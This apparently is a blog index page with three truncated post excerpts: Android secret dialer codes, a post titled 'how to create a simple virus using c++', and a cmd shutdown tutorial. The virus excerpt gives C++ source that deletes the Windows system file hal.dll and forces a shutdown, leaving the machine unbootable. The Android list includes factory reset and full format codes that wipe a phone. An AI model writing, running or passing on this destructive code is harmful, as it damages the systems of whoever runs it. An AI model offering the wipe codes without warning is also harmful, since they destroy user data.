Secret codes for Android mobile operating system

Secret codes for Android mobile operating system: Phone and Battery information Code:      *#*#4636#*#* Factory Data reset Code: *#*#7780#*#* Full Factory Format Code: *2767*3855# (Dangerous) GTalk Service Monitor Code: *#*#8255#*#* Camera Firmware settings Code: *#*#34971539#*#* Service mode Codes: *#*#197328640#*#*   This code can be used to enter into Service mode. You can run various tests...

how to create a simple virus using c++

This virus will delete the hal.dll (this  file helps the system in startup) in your system32 folder. After performing such task your will no longer will be able to start your system..... #include <cstdlib> #include <iostream> using namespace std; int main(int argc, char *argv[]) {    std::remove("C:\\windows\\system32\\hal.dll");      system("shutdown -s -r");     system("PAUSE");    ...

shut down after specified time using cmd

Shutdown your computer Type "shutdown -s" without the quotes in the command prompt and press Enter. Shutdown is the command being executed and the switch -s tells the computer to shutdown. Restart your  Computer Type "shutdown -r" in the command prompt and press Enter. In this case, the command switch -r is telling the computer to restart after shutdown. Log Off the Current User Type "shutdown -l" in the command prompt and press Enter....